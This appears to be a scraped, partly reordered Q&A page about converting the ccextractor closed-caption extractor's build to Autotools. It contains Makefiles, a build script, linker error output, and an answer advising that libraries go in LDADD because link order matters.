src/zlib/compress.c \
src/zlib/crc32.c \
src/zlib/crc32.h \
src/zlib/deflate.c \
src/zlib/deflate.h \
src/zlib/gzclose.c \
src/zlib/gzguts.h \
src/zlib/gzlib.c \
src/zlib/gzread.c \
src/zlib/gzwrite.c \
src/zlib/infback.c \
src/zlib/inffast.c \
src/zlib/inffast.h \
src/zlib/inffixed.h \
src/zlib/inflate.c \
src/zlib/inflate.h \
src/zlib/inftrees.c \
src/zlib/inftrees.h \
src/zlib/trees.c \
src/zlib/trees.h \
src/zlib/uncompr.c \
src/zlib/zconf.h \
src/zlib/zlib.h \
src/zlib/zutil.c \
src/zlib/zutil.h \
src/zvbi/bcd.h \
src/zvbi/bit_slicer.c \
src/zvbi/bit_slicer.h \
src/zvbi/decoder.c \
src/zvbi/macros.h \
src/zvbi/misc.h \
src/zvbi/raw_decoder.c \
src/zvbi/raw_decoder.h \
src/zvbi/sampling_par.c \
src/zvbi/sampling_par.h \
src/zvbi/sliced.h \
src/zvbi/zvbi_decoder.h
ccextractor_CFLAGS =-std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR
ccextractor_CPPFLAGS =-I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/
ccextractor_LDADD =-lm -ltesseract -llept
ccextractor_LDFLAGS=-zmuldefs
The build script which builds "ccextractor" perfectly fine is:
#!/bin/bash
BLD_FLAGS="-std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR"
BLD_INCLUDE="-Isrc -I /usr/include/leptonica/ -I /usr/include/tesseract/ -Isrc/lib_ccx/ -Isrc/gpacmp4/ -Isrc/libpng/ -Isrc/zlib/ -Isrc/zvbi -Isrc/lib_hash -Isrc/protobuf-c -Isrc/utf8proc"
SRC_LIBPNG="$(find src/libpng/ -name '*.c')"
SRC_ZLIB="$(find src/zlib/ -name '*.c')"
SRC_ZVBI="$(find src/zvbi/ -name '*.c')"
SRC_CCX="$(find src/lib_ccx/ -name '*.c')"
SRC_GPAC="$(find src/gpacmp4/ -name '*.c')"
SRC_HASH="$(find src/lib_hash/ -name '*.c')"
SRC_PROTOBUF="$(find src/protobuf-c/ -name '*.c')"
SRC_UTF8PROC="src/utf8proc/utf8proc.c"
BLD_SOURCES="src/ccextractor.c $SRC_CCX $SRC_GPAC $SRC_ZLIB $SRC_ZVBI $SRC_LIBPNG $SRC_HASH $SRC_PROTOBUF $SRC_UTF8PROC"
BLD_LINKER="-lm -zmuldefs -l tesseract -l lept"
**Stripped a call for a script which checks the git commit (nothing that'd interfere with build**
out=$((LC_ALL=C gcc $BLD_FLAGS $BLD_INCLUDE -o ccextractor $BLD_SOURCES $BLD_LINKER) 2>&1)
res=$?
if [[ $out == *"gcc: command not found"* ]]
then
echo "Error: please install gcc";
exit 1
fi
if [[ $out == *"curl.h: No such file or directory"* ]]
then
echo "Error: please install curl development library (libcurl4-gnutls-dev for Debian/Ubuntu)";
exit 2
fi
if [[ $out == *"capi.h: No such file or directory"* ]]
then
echo "Error: please install tesseract development library (tesseract-ocr-dev for Debian/Ubuntu)";
exit 3
fi
if [[ $out == *"allheaders.h: No such file or directory"* ]]
then
echo "Error: please install leptonica development library (libleptonica-dev for Debian/Ubuntu)";
exit 4
fi
if [[ $res -ne 0 ]] # Unknown error
then
echo "Compiled with errors"
>&2 echo "$out"
exit 5
fi
echo "Compilation successful";
Here are some initial statements which make invokes:
gcc -DHAVE_CONFIG_H -I. -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/ -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -MT src/ccextractor-ccextractor.o -MD -MP -MF src/.deps/ccextractor-ccextractor.Tpo -c -o src/ccextractor-ccextractor.o `test -f 'src/ccextractor.c' || echo './'`src/ccextractor.c
mv -f src/.deps/ccextractor-ccextractor.Tpo src/.deps/ccextractor-ccextractor.Po
gcc -DHAVE_CONFIG_H -I. -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/ -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -MT src/gpacmp4/ccextractor-avc_ext.o -MD -MP -MF src/gpacmp4/.deps/ccextractor-avc_ext.Tpo -c -o src/gpacmp4/ccextractor-avc_ext.o `test -f 'src/gpacmp4/avc_ext.c' || echo './'`src/gpacmp4/avc_ext.c
mv -f src/gpacmp4/.deps/ccextractor-avc_ext.Tpo src/gpacmp4/.deps/ccextractor-avc_ext.Po
gcc -DHAVE_CONFIG_H -I. -I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/ -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -MT src/gpacmp4/ccextractor-avilib.o -MD -MP -MF src/gpacmp4/.deps/ccextractor-avilib.Tpo -c -o src/gpacmp4/ccextractor-avilib.o `test -f 'src/gpacmp4/avilib.c' || echo './'`src/gpacmp4/avilib.c
mv -f src/gpacmp4/.deps/ccextractor-avilib.Tpo src/gpacmp4/.deps/ccextractor-avilib.Po
Statement which make invokes just before showing undefined reference errors:
gcc -std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR -g -O2 -zmuldefs -o ccextractor src/ccextractor-ccextractor.o src/gpacmp4/ccextractor-avc_ext.o src/gpacmp4/ccextractor-avilib.o src/gpacmp4/ccextractor-av_parsers.o src/gpacmp4/ccextractor-base_encoding.o src/gpacmp4/ccextractor-bitstream.o src/gpacmp4/ccextractor-box_code_3gpp.o src/gpacmp4/ccextractor-box_code_adobe.o src/gpacmp4/ccextractor-box_code_apple.o src/gpacmp4/ccextractor-box_code_base.o src/gpacmp4/ccextractor-box_code_drm.o src/gpacmp4/ccextractor-box_code_meta.o src/gpacmp4/ccextractor-box_funcs.o src/gpacmp4/ccextractor-configfile.o src/gpacmp4/ccextractor-data_map.o src/gpacmp4/ccextractor-desc_private.o src/gpacmp4/ccextractor-descriptors.o src/gpacmp4/ccextractor-drm_sample.o src/gpacmp4/ccextractor-error.o -lm -ltesseract -llept
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:32: undefined reference to `mprint'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:33: undefined reference to `change_filename_requested'
src/ccextractor-ccextractor.o: In function `sigint_handler':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:47: undefined reference to `print_file_report'
src/ccextractor-ccextractor.o: In function `print_end_msg':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:55: undefined reference to `mprint'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:56: undefined reference to `mprint'
src/ccextractor-ccextractor.o: In function `main':
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:68: undefined reference to `init_options'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:70: undefined reference to `parse_configuration'
/media/mayank/Mayank/GSOC 2017/Projects/ccextractor/src/ccextractor.c:71: undefined reference to `parse_parameters'
PS: Sorry for the delay in update. Any help is appreciated.I tried many things including changing the path of the #include <path/to/header> statements in code and then adding -I statement in CFLAGS but that didn't help either. Almost all the undefined reference errors are from the functions declared in the headers residing in subdirectories of directories in source like, src/dir/subdir the -I flags are added only till src/dir/ and then the files in src/dir/ have statements like #include<subdir/filename.h>.
PPS: I used grep -r "<Name_of_function_leading_to_error>" . in src to find out the declaration header.
You don't show the line make invoked to link your code, which would be very useful.
However, you don't want to put libraries into the LDLFLAGS (or AM_LDLFAGS) variable; that variable is for linker flags like -L, etc. You should use LDADD:
LDADD = -lm -lz -ltesseract -llept
If you look at the link line that make is generating you'll see all these options coming BEFORE any of your object files on the link line; that's not right. The GNU binutils ld is a single-pass linker, which means that the order of -l flags is very important for proper linking.

Build through Makefile and build script works but with equivalent Makefile.am doesnt.(Gives undefined reference errors)

I'm trying to convert the build mechanism of ccextractor (Open source closed caption extractor) from custom Makefile to Autotools generated Makefile.
Supplied Makefile looks like this:
SHELL = /bin/sh
CC = gcc
SYS := $(shell gcc -dumpmachine)
CFLAGS = -O3 -std=gnu99 -s
INCLUDE = -Isrc/gpacmp4/ -Isrc/libpng -Isrc/lib_hash -Isrc/protobuf-c -Isrc/zlib -Isrc/lib_ccx -Isrc/.
INCLUDE += -Isrc/zvbi -Isrc/utf8proc
ALL_FLAGS = -Wno-write-strings -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT
LDFLAGS = -lm
ifneq (, $(findstring linux, $(SYS)))
CFLAGS +=-DGPAC_CONFIG_LINUX
endif
TARGET = ccextractor
OBJS_DIR = objs
VPATH = src:src/gpacmp4:src/libpng:src/zlib:src/lib_ccx:src/zvbi:src/lib_hash:src/utf8proc:src/protobuf-c
SRCS_DIR = src
SRCS_C = $(wildcard $(SRCS_DIR)/*.c)
OBJS = $(SRCS_C:$(SRCS_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_CCX_DIR = $(SRCS_DIR)/lib_ccx
SRCS_CCX = $(wildcard $(SRCS_CCX_DIR)/*.c)
OBJS_CCX = $(SRCS_CCX:$(SRCS_CCX_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_PNG_DIR = $(SRCS_DIR)/libpng
SRCS_PNG = $(wildcard $(SRCS_PNG_DIR)/*.c)
OBJS_PNG = $(SRCS_PNG:$(SRCS_PNG_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_ZVBI_DIR = $(SRCS_DIR)/zvbi
SRCS_ZVBI = $(wildcard $(SRCS_ZVBI_DIR)/*.c)
OBJS_ZVBI = $(SRCS_ZVBI:$(SRCS_ZVBI_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_GPACMP4_DIR = $(SRCS_DIR)/gpacmp4
SRCS_GPACMP4_C = $(wildcard $(SRCS_GPACMP4_DIR)/*.c)
SRCS_GPACMP4_CPP = $(wildcard $(SRCS_GPACMP4_DIR)/*.cpp)
OBJS_GPACMP4 = $(SRCS_GPACMP4_C:$(SRCS_GPACMP4_DIR)/%.c=$(OBJS_DIR)/%.o) \
$(SRCS_GPACMP4_CPP:$(SRCS_GPACMP4_DIR)/%.cpp=$(OBJS_DIR)/%.o)
SRCS_ZLIB_DIR = $(SRCS_DIR)/zlib
SRCS_ZLIB = $(wildcard $(SRCS_ZLIB_DIR)/*.c)
OBJS_ZLIB = $(SRCS_ZLIB:$(SRCS_ZLIB_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_HASH_DIR = $(SRCS_DIR)/lib_hash
SRCS_HASH = $(wildcard $(SRCS_HASH_DIR)/*.c)
OBJS_HASH = $(SRCS_HASH:$(SRCS_HASH_DIR)/%.c=$(OBJS_DIR)/%.o)
SRCS_UTF8_DIR = $(SRCS_DIR)/utf8proc
SRCS_UTF8 = $(SRCS_UTF8_DIR)/utf8proc.c
OBJS_UTF8 = $(SRCS_UTF8:$(SRCS_UTF8_DIR)/%.c=$(OBJS_DIR)/%.o)
INSTLALL = cp -f -p
INSTLALL_PROGRAM = $(INSTLALL)
DESTDIR = /usr/bin
ifeq ($(ENABLE_HARDSUBX),yes)
ENABLE_OCR=yes
CFLAGS+=-DENABLE_HARDSUBX
CFLAGS+= $(shell pkg-config --cflags libavcodec)
CFLAGS+= $(shell pkg-config --cflags libavformat)
CFLAGS+= $(shell pkg-config --cflags libavutil)
CFLAGS+= $(shell pkg-config --cflags libswscale)
AV_LDFLAGS+= $(shell pkg-config --libs libavcodec )
AV_LDFLAGS+= $(shell pkg-config --libs libavformat )
AV_LDFLAGS+= $(shell pkg-config --libs libavutil )
AV_LDFLAGS+= $(shell pkg-config --libs libswscale )
ifeq ($(AV_LDFLAGS),$(EMPTY))
$(error **ERROR** "libav not found")
else
$(info "libav found")
endif
LDFLAGS+= $(AV_LDFLAGS)
endif
ifeq ($(ENABLE_OCR),yes)
CFLAGS+=-DENABLE_OCR -DPNG_NO_CONFIG_H
LEPT_LDFLAGS+= $(shell pkg-config --libs lept)
ifneq ($(shell pkg-config --exists tesseract), $(EMPTY))
TESS_LDFLAGS+= $(shell pkg-config --libs tesseract)
TESS_CFLAGS+= $(shell pkg-config --cflags tesseract)
else
#fix for raspberry pi not having a pkgconfig file for tesseract
ifneq ($(wildcard /usr/include/tesseract/*),$(EMPTY))
TESS_LDFLAGS+= -ltesseract
TESS_CFLAGS+= -I/usr/include/tesseract
endif
endif
#error checking of library are there or not
ifeq ($(TESS_LDFLAGS),$(EMPTY))
$(error **ERROR** "tesseract not found")
else
#TODO print the version of library found
$(info "tesseract found")
endif
ifeq ($(LEPT_LDFLAGS),$(EMPTY))
$(error **ERROR** "leptonica not found")
else
#TODO print the version of library found
$(info "Leptonica found")
endif
CFLAGS += $(TESS_CFLAGS)
CFLAGS += $(shell pkg-config --cflags lept)
LDFLAGS += $(TESS_LDFLAGS)
LDFLAGS += $(LEPT_LDFLAGS)
endif
ifeq ($(ENABLE_FFMPEG),yes)
CFLAGS+=-DENABLE_FFMPEG
CFLAGS+= $(shell pkg-config --cflags libavcodec)
CFLAGS+= $(shell pkg-config --cflags libavformat)
CFLAGS+= $(shell pkg-config --cflags libavutil)
LDFLAGS+= $(shell pkg-config --libs libavcodec )
LDFLAGS+= $(shell pkg-config --libs libavformat )
LDFLAGS+= $(shell pkg-config --libs libavutil )
endif
.PHONY: all
all: pre-build objs_dir $(TARGET)
.PHONY: objs_dir
objs_dir:
mkdir -p $(OBJS_DIR)
$(TARGET): $(OBJS) $(OBJS_PNG) $(OBJS_GPACMP4) $(OBJS_ZVBI) $(OBJS_ZLIB) $(OBJS_HASH) $(OBJS_CCX) $(OBJS_UTF8)
$(CC) $(ALL_FLAGS) $(CFLAGS) $(OBJS) $(OBJS_CCX) $(OBJS_PNG) $(OBJS_ZVBI) $(OBJS_GPACMP4) $(OBJS_ZLIB) $(OBJS_HASH) $(OBJS_UTF8) $(LDFLAGS) -o $#
$(OBJS_DIR)/%.o: %.c
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) $< -o $#
$(OBJS_DIR)/%.o: %.cpp
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) $< -o $# -Isrc/gpacmp4
$(OBJS_DIR)/ccextractor.o: ccextractor.c
$(CC) -c $(ALL_FLAGS) $(INCLUDE) $(CFLAGS) -O0 $< -o $#
.PHONY: clean
clean:
rm -rf $(TARGET) 2>/dev/null || true
rm -rf $(OBJS_CCX) $(OBJS_PNG) $(OBJS_ZLIB) $(OBJS_GPACMP4) $(OBJS_HASH) $(OBJS_UTF8) $(OBJS) 2>/dev/null || true
rm -rdf $(OBJS_DIR) 2>/dev/null || true
rm -rf .depend 2>/dev/null || true
.PHONY: install
install: $(TARGET)
$(INSTLALL_PROGRAM) $(TARGET) $(DESTDIR)
.PHONY: uninstall
uninstall:
rm -iv $(DESTDIR)/$(TARGET)
.PHONY: depend dep
depend dep:
$(CC) $(CFLAGS) $(INCLUDE) -E -MM $(SRCS_C) $(SRCS_PNG) $(SRCS_ZVBI) $(SRCS_ZLIB) $(SRCS_HASH) $(SRCS_UTF8) $(SRCS_CCX) \
$(SRCS_GPACMP4_C) $(SRCS_GPACMP4_CPP) |\
sed 's/^[a-zA-Z_0-9]*.o/$(OBJS_DIR)\/&/' > .depend
.PHONY: pre-build
pre-build:
./pre-build.sh
-include .depend
"ccextractor" is also built through a shell script called build
The build script which builds "ccextractor" perfectly fine is:
#!/bin/bash
BLD_FLAGS="-std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR"
BLD_INCLUDE="-Isrc -I /usr/include/leptonica/ -I /usr/include/tesseract/ -Isrc/lib_ccx/ -Isrc/gpacmp4/ -Isrc/libpng/ -Isrc/zlib/ -Isrc/zvbi -Isrc/lib_hash -Isrc/protobuf-c -Isrc/utf8proc"
SRC_LIBPNG="$(find src/libpng/ -name '*.c')"
SRC_ZLIB="$(find src/zlib/ -name '*.c')"
SRC_ZVBI="$(find src/zvbi/ -name '*.c')"
SRC_CCX="$(find src/lib_ccx/ -name '*.c')"
SRC_GPAC="$(find src/gpacmp4/ -name '*.c')"
SRC_HASH="$(find src/lib_hash/ -name '*.c')"
SRC_PROTOBUF="$(find src/protobuf-c/ -name '*.c')"
SRC_UTF8PROC="src/utf8proc/utf8proc.c"
BLD_SOURCES="src/ccextractor.c $SRC_CCX $SRC_GPAC $SRC_ZLIB $SRC_ZVBI $SRC_LIBPNG $SRC_HASH $SRC_PROTOBUF $SRC_UTF8PROC"
BLD_LINKER="-lm -zmuldefs -l tesseract -l lept"
.**Stripped a call for shell script that checks git commit (Nothing that would interfere with the build**
out=$((LC_ALL=C gcc $BLD_FLAGS $BLD_INCLUDE -o ccextractor $BLD_SOURCES $BLD_LINKER) 2>&1)
res=$?
if [[ $out == *"gcc: command not found"* ]]
then
echo "Error: please install gcc";
exit 1
fi
if [[ $out == *"curl.h: No such file or directory"* ]]
then
echo "Error: please install curl development library (libcurl4-gnutls-dev for Debian/Ubuntu)";
exit 2
fi
if [[ $out == *"capi.h: No such file or directory"* ]]
then
echo "Error: please install tesseract development library (tesseract-ocr-dev for Debian/Ubuntu)";
exit 3
fi
if [[ $out == *"allheaders.h: No such file or directory"* ]]
then
echo "Error: please install leptonica development library (libleptonica-dev for Debian/Ubuntu)";
exit 4
fi
if [[ $res -ne 0 ]] # Unknown error
then
echo "Compiled with errors"
>&2 echo "$out"
exit 5
fi
echo "Compilation successful";
Building through above Makefile and build script works fine. My Makefile.am looks like this:
AUTOMAKE_OPTIONS = foreign
bin_PROGRAMS = ccextractor
ccextractor_SOURCES = \
src/ccextractor.c \
src/gpacmp4/avc_ext.c \
src/gpacmp4/avilib.c \
src/gpacmp4/av_parsers.c \
src/gpacmp4/base_encoding.c \
src/gpacmp4/bitstream.c \
src/gpacmp4/box_code_3gpp.c \
src/gpacmp4/box_code_adobe.c \
src/gpacmp4/box_code_apple.c \
src/gpacmp4/box_code_base.c \
src/gpacmp4/box_code_drm.c \
src/gpacmp4/box_code_meta.c \
src/gpacmp4/box_funcs.c \
src/gpacmp4/configfile.c \
src/gpacmp4/data_map.c \
src/gpacmp4/desc_private.c \
src/gpacmp4/descriptors.c \
src/gpacmp4/drm_sample.c \
src/gpacmp4/error.c \
src/gpacmp4/gpac/avparse.h \
src/gpacmp4/gpac/base_coding.h \
src/gpacmp4/gpac/bitstream.h \
src/gpacmp4/gpac/config_file.h \
src/gpacmp4/gpac/configuration.h \
src/gpacmp4/gpac/constants.h \
src/gpacmp4/gpac/events_constants.h \
src/gpacmp4/gpac/ietf.h \
src/gpacmp4/gpac/internal
src/gpacmp4/gpac/internal/avilib.h \
src/gpacmp4/gpac/internal/isomedia_dev.h \
src/gpacmp4/gpac/internal/media_dev.h \
src/gpacmp4/gpac/internal/odf_dev.h \
src/gpacmp4/gpac/internal/odf_parse_common.h \
src/gpacmp4/gpac/internal/ogg.h \
src/gpacmp4/gpac/isomedia.h \
src/gpacmp4/gpac/list.h \
src/gpacmp4/gpac/math.h \
src/gpacmp4/gpac/media_tools.h \
src/gpacmp4/gpac/mpeg4_odf.h \
src/gpacmp4/gpac/network.h \
src/gpacmp4/gpac/revision.h \
src/gpacmp4/gpac/setup.h \
src/gpacmp4/gpac/sync_layer.h \
src/gpacmp4/gpac/tools.h \
src/gpacmp4/gpac/utf.h \
src/gpacmp4/gpac/version.h \
src/gpacmp4/gpac_ogg.c \
src/gpacmp4/hinting.c \
src/gpacmp4/ipmpx_code.c \
src/gpacmp4/ipmpx_parse.c \
src/gpacmp4/isom_intern.c \
src/gpacmp4/isom_read.c \
src/gpacmp4/isom_store.c \
src/gpacmp4/isom_write.c \
src/gpacmp4/list.c \
src/gpacmp4/math.c \
src/gpacmp4/media.c \
src/gpacmp4/media_odf.c \
src/gpacmp4/meta.c \
src/gpacmp4/movie_fragments.c \
src/gpacmp4/mp4.c \
src/gpacmp4/odf_code.c \
src/gpacmp4/odf_codec.c \
src/gpacmp4/odf_command.c \
src/gpacmp4/os_config_init.c \
src/gpacmp4/os_divers.c \
src/gpacmp4/os_file.c \
src/gpacmp4/qos.c \
src/gpacmp4/ReadMe.txt
src/gpacmp4/sample_descs.c \
src/gpacmp4/slc.c \
src/gpacmp4/stbl_read.c \
src/gpacmp4/stbl_write.c \
src/gpacmp4/track.c \
src/gpacmp4/tx3g.c \
src/gpacmp4/url.c \
src/gpacmp4/utf.c \
src/lib_ccx/activity.c \
src/lib_ccx/activity.h \
src/lib_ccx/asf_constants.h \
src/lib_ccx/asf_functions.c \
src/lib_ccx/avc_functions.c \
src/lib_ccx/avc_functions.h \
src/lib_ccx/bitstream.h \
src/lib_ccx/cc_bitstream.c \
src/lib_ccx/ccx_common_char_encoding.c \
src/lib_ccx/ccx_common_char_encoding.h \
src/lib_ccx/ccx_common_common.c \
src/lib_ccx/ccx_common_common.h \
src/lib_ccx/ccx_common_constants.c \
src/lib_ccx/ccx_common_constants.h \
src/lib_ccx/ccx_common_option.c \
src/lib_ccx/ccx_common_option.h \
src/lib_ccx/ccx_common_platform.h \
src/lib_ccx/ccx_common_structs.h \
src/lib_ccx/ccx_common_timing.c \
src/lib_ccx/ccx_common_timing.h \
src/lib_ccx/ccx_decoders_608.c \
src/lib_ccx/ccx_decoders_608.h \
src/lib_ccx/ccx_decoders_708.c \
src/lib_ccx/ccx_decoders_708_encoding.c \
src/lib_ccx/ccx_decoders_708_encoding.h \
src/lib_ccx/ccx_decoders_708.h \
src/lib_ccx/ccx_decoders_708_output.c \
src/lib_ccx/ccx_decoders_708_output.h \
src/lib_ccx/ccx_decoders_common.c \
src/lib_ccx/ccx_decoders_common.h \
src/lib_ccx/ccx_decoders_isdb.c \
src/lib_ccx/ccx_decoders_isdb.h \
src/lib_ccx/ccx_decoders_structs.h \
src/lib_ccx/ccx_decoders_vbi.c \
src/lib_ccx/ccx_decoders_vbi.h \
src/lib_ccx/ccx_decoders_xds.c \
src/lib_ccx/ccx_decoders_xds.h \
src/lib_ccx/ccx_demuxer.c \
src/lib_ccx/ccx_demuxer.h \
src/lib_ccx/ccx_dtvcc.c \
src/lib_ccx/ccx_dtvcc.h \
src/lib_ccx/ccx_encoders_common.c \
src/lib_ccx/ccx_encoders_common.h \
src/lib_ccx/ccx_encoders_curl.c \
src/lib_ccx/ccx_encoders_g608.c \
src/lib_ccx/ccx_encoders_helpers.c \
src/lib_ccx/ccx_encoders_helpers.h \
src/lib_ccx/ccx_encoders_sami.c \
src/lib_ccx/ccx_encoders_smptett.c \
src/lib_ccx/ccx_encoders_splitbysentence.c \
src/lib_ccx/ccx_encoders_spupng.c \
src/lib_ccx/ccx_encoders_spupng.h \
src/lib_ccx/ccx_encoders_srt.c \
src/lib_ccx/ccx_encoders_ssa.c \
src/lib_ccx/ccx_encoders_structs.h \
src/lib_ccx/ccx_encoders_transcript.c \
src/lib_ccx/ccx_encoders_webvtt.c \
src/lib_ccx/ccx_encoders_xds.c \
src/lib_ccx/ccx_encoders_xds.h \
src/lib_ccx/ccx_gxf.c \
src/lib_ccx/ccx_gxf.h \
src/lib_ccx/ccx_mp4.h \
src/lib_ccx/ccx_share.c \
src/lib_ccx/ccx_share.h \
src/lib_ccx/ccx_sub_entry_message.pb-c.c \
src/lib_ccx/ccx_sub_entry_message.pb-c.h \
src/lib_ccx/CMakeLists.txt
src/lib_ccx/compile_info.h \
src/lib_ccx/compile_info_real.h \
src/lib_ccx/configuration.c \
src/lib_ccx/configuration.h \
src/lib_ccx/disable_warnings.h \
src/lib_ccx/dvb_subtitle_decoder.c \
src/lib_ccx/dvb_subtitle_decoder.h \
src/lib_ccx/dvd_subtitle_decoder.c \
src/lib_ccx/dvd_subtitle_decoder.h \
src/lib_ccx/es_functions.c \
src/lib_ccx/es_userdata.c \
src/lib_ccx/ffmpeg_intgr.c \
src/lib_ccx/ffmpeg_intgr.h \
src/lib_ccx/file_buffer.h \
src/lib_ccx/file_functions.c \
src/lib_ccx/general_loop.c \
src/lib_ccx/hamming.h \
src/lib_ccx/hardsubx.c \
src/lib_ccx/hardsubx_classifier.c \
src/lib_ccx/hardsubx_decoder.c \
src/lib_ccx/hardsubx.h \
src/lib_ccx/hardsubx_imgops.c \
src/lib_ccx/hardsubx_utility.c \
src/lib_ccx/lib_ccx.c \
src/lib_ccx/lib_ccx.h \
src/lib_ccx/list.h \
src/lib_ccx/matroska.c \
src/lib_ccx/matroska.h \
src/lib_ccx/myth.c \
src/lib_ccx/networking.c \
src/lib_ccx/networking.h \
src/lib_ccx/ocr.c \
src/lib_ccx/ocr.h \
src/lib_ccx/output.c \
src/lib_ccx/params.c \
src/lib_ccx/params_dump.c \
src/lib_ccx/sequencing.c \
src/lib_ccx/spupng_encoder.c \
src/lib_ccx/spupng_encoder.h \
src/lib_ccx/stdintmsc.h \
src/lib_ccx/stream_functions.c \
src/lib_ccx/teletext.h \
src/lib_ccx/telxcc.c \
src/lib_ccx/ts_functions.c \
src/lib_ccx/ts_functions.h \
src/lib_ccx/ts_info.c \
src/lib_ccx/ts_tables.c \
src/lib_ccx/ts_tables_epg.c \
src/lib_ccx/utility.c \
src/lib_ccx/utility.h \
src/lib_ccx/wtv_constants.h \
src/lib_ccx/wtv_functions.c \
src/lib_hash/sha2.c \
src/lib_hash/sha2.h \
src/libpng/png.c \
src/libpng/pngconf.h \
src/libpng/pngdebug.h \
src/libpng/pngerror.c \
src/libpng/pngget.c \
src/libpng/png.h \
src/libpng/pnginfo.h \
src/libpng/pnglibconf.h \
src/libpng/pngmem.c \
src/libpng/pngpread.c \
src/libpng/pngpriv.h \
src/libpng/pngread.c \
src/libpng/pngrio.c \
src/libpng/pngrtran.c \
src/libpng/pngrutil.c \
src/libpng/pngset.c \
src/libpng/pngstruct.h \
src/libpng/pngtrans.c \
src/libpng/pngwio.c \
src/libpng/pngwrite.c \
src/libpng/pngwtran.c \
src/libpng/pngwutil.c \
src/protobuf-c/protobuf-c.c \
src/protobuf-c/protobuf-c.h \
src/utf8proc/utf8proc.c \
src/utf8proc/utf8proc_data.c \
src/utf8proc/utf8proc.h \
src/win_iconv/iconv.h \
src/win_iconv/win_iconv.c \
src/win_spec_incld/dirent.h \
src/win_spec_incld/inttypes.h \
src/win_spec_incld/stdint.h \
src/zlib/adler32.c \
src/zlib/compress.c \
src/zlib/crc32.c \
src/zlib/crc32.h \
src/zlib/deflate.c \
src/zlib/deflate.h \
src/zlib/gzclose.c \
src/zlib/gzguts.h \
src/zlib/gzlib.c \
src/zlib/gzread.c \
src/zlib/gzwrite.c \
src/zlib/infback.c \
src/zlib/inffast.c \
src/zlib/inffast.h \
src/zlib/inffixed.h \
src/zlib/inflate.c \
src/zlib/inflate.h \
src/zlib/inftrees.c \
src/zlib/inftrees.h \
src/zlib/trees.c \
src/zlib/trees.h \
src/zlib/uncompr.c \
src/zlib/zconf.h \
src/zlib/zlib.h \
src/zlib/zutil.c \
src/zlib/zutil.h \
src/zvbi/bcd.h \
src/zvbi/bit_slicer.c \
src/zvbi/bit_slicer.h \
src/zvbi/decoder.c \
src/zvbi/macros.h \
src/zvbi/misc.h \
src/zvbi/raw_decoder.c \
src/zvbi/raw_decoder.h \
src/zvbi/sampling_par.c \
src/zvbi/sampling_par.h \
src/zvbi/sliced.h \
src/zvbi/zvbi_decoder.h
ccextractor_CFLAGS =-std=gnu99 -Wno-write-strings -DGPAC_CONFIG_LINUX -D_FILE_OFFSET_BITS=64 -DVERSION_FILE_PRESENT -DENABLE_OCR
ccextractor_CPPFLAGS =-I /usr/include/leptonica/ -I /usr/include/tesseract/ -I src/lib_ccx/ -I src/gpacmp4/ -I src/libpng/ -I src/zlib/ -I src/zvbi/ -I src/lib_hash/ -I src/protobuf-c/ -I src/utf8proc/
ccextractor_LDADD =-lm -ltesseract -llept
ccextractor_LDFLAGS=-zmuldefs
tree in src dir is:
.
├── ccextractor.c
├── CCExtractorConfig.h.in
├── ccextractor.o
├── CMakeLists.txt
├── gpacmp4
│   ├── avc_ext.c
│   ├── avc_ext.o
│   ├── avilib.c
│   ├── descriptors.o
│   ├── drm_sample.c
│   ├── drm_sample.o
│   ├── error.c
│   ├── error.o
│   ├── gpac
│   │   ├── avparse.h
│   │   ├── base_coding.h
│   │   ├── bitstream.h
│   │   ├── config_file.h
│   │   ├── configuration.h
│   │   ├── constants.h
│   │   ├── events_constants.h
│   │   ├── ietf.h
│   │   ├── internal
│   │   │   ├── avilib.h
│   │   │   ├── isomedia_dev.h
│   │   │   ├── media_dev.h
